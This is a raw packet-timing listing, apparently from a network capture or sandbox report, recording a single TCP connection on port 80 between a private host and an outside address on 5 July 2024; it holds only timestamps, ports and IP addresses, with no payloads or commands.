Jul 5, 2024 06:23:07.645407915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645421982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645433903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645442963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645451069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645456076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645467043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645467043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645478964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645483017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645522118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645522118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645584106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645595074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645603895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645615101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645626068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645634890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645638943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645652056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645675898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645739079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645750046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645760059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645768881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645781040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645790100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645790100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645796061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645807981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645823956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645848989 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645881891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645893097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645904064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.645931005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.645944118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646059036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646070004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646080017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646090984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646100998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646101952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646109104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646121025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646131992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646143913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646153927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646153927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646198034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646210909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646220922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646230936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646241903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646253109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646255016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646264076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646275043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646291971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.646295071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646295071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646333933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.646333933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737103939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737138987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737150908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737159967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737164974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737169981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737175941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737185955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737190962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737195969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737200975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737210989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737215996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737221956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737231016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737291098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737339973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737478971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737494946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737505913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737560034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737560987 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737576008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737587929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737597942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737608910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737621069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737628937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737632036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737632036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737642050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737674952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737684965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737741947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737754107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737763882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737781048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737788916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737792969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737802982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737802982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737817049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737828016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737838984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737848997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737857103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737857103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737859964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737871885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737883091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737894058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737900019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737900019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737905979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737915039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737919092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737932920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737945080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.737951994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737951994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.737982035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738029003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738076925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738183022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738193035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738204002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738213062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738229990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738238096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738238096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738245010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738255978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738269091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738281965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738281965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738286018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738315105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738342047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738384962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738396883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738413095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738423109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738432884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738442898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738451004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738451004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738451958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738465071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738476038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738504887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738504887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738862991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738879919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738889933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738899946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738909960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738919020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738919020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738926888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738940954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738950014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738951921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738961935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738975048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738986015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.738991976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738991976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.738996983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739010096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739012003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739022017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739041090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739062071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739068031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739079952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739099026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739099979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739144087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739272118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739289045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739298105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739306927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739326000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739326000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739335060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739351034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739362001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739367008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739379883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739388943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739397049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739408016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739418030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739423037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739423037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739428997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739439964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739449024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739464998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739465952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739478111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739490032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739497900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739497900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739502907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739515066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739526987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739533901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739538908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739551067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739558935 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739566088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739581108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739598989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739608049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739623070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739623070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739624023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739639044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739649057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739650965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739659071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739671946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739681005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739687920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739692926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739703894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739716053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739717960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739727020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739739895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739739895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739752054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739762068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739764929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739764929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739773989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739785910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739794970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739799976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739808083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.739844084 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.739844084 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.830743074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830775976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830796957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830810070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830817938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830825090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830858946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.830913067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.830914974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830928087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830939054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830949068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830960035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830972910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830986023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.830988884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.830997944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831021070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831021070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831053019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831077099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831089020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831098080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831121922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831130028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831140041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831150055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831151009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831166983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831170082 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831180096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831217051 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831217051 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831243992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831259012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831269026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831279039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831295967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831310034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831341982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831346035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831358910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831370115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831379890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831396103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831398964 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831398964 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831419945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831435919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831446886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831454992 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831456900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831470013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831480026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831490040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831494093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831518888 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831545115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831553936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831557035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831568003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831577063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831588030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831594944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831594944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831598997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831612110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831620932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831629992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831644058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831644058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831659079 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831911087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831923008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831933975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831943989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831952095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831970930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.831983089 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.831991911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832005978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832006931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832017899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.832031965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832031965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832056999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.832221985 CEST	80	49699	85.28.47.30	192.168.2.7
